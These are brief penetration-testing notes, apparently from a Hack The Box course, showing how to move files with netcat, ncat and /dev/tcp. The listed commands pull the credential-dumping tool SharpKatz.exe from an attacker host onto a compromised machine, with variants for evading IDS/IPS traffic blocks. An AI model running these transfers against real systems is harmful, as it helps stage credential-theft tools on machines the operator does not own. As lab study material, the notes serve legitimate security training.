Transfer & Exfiltration

Netcat for FileTransfer

Notes and commands for Netcat for FileTransfer.

2024-03-28
Tags file-transfernetcat-for-filetransfer

Listener on Compromised Machine sending from Attacker

(when IDS/IPS blocks outbound traffic)

Listenere on Attacking machine connecting from compromised

(when IDS/IPS) blocks incoming traffic.

  • Using old original Netcat:

  • Start listener with input file:

  • Momothechi@htb[/htb]$ # Example using Original Netcat

  • Momothechi@htb[/htb]$ sudo nc -l -p 443 -q 0 < SharpKatz.exe

  • Connect from the compromised machine:

  • victim@target:~$ # Example using Original Netcat

  • victim@target:~$ nc 192.168.49.128 443 > SharpKatz.exe

  • Using Ncat:

  • Strt listener:

  • Momothechi@htb[/htb]$ # Example using Ncat

  • Momothechi@htb[/htb]$ sudo ncat -l -p 443 –send-only < SharpKatz.exe

  • Connect:

  • victim@target:~$ # Example using Ncat

  • victim@target:~$ ncat 192.168.49.128 443 –recv-only > SharpKatz.exe

When we dont have Ncat/Netcat on compromised machine - use /dev/tcp

  • Starting listener on attacking machine with file input:

  • Momothechi@htb[/htb]$ # Example using Ncat

  • Momothechi@htb[/htb]$ sudo ncat -l -p 443 –send-only < SharpKatz.exe

  • Connecting on the compromised machine using /dev/tcp:

  • victim@target:~$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe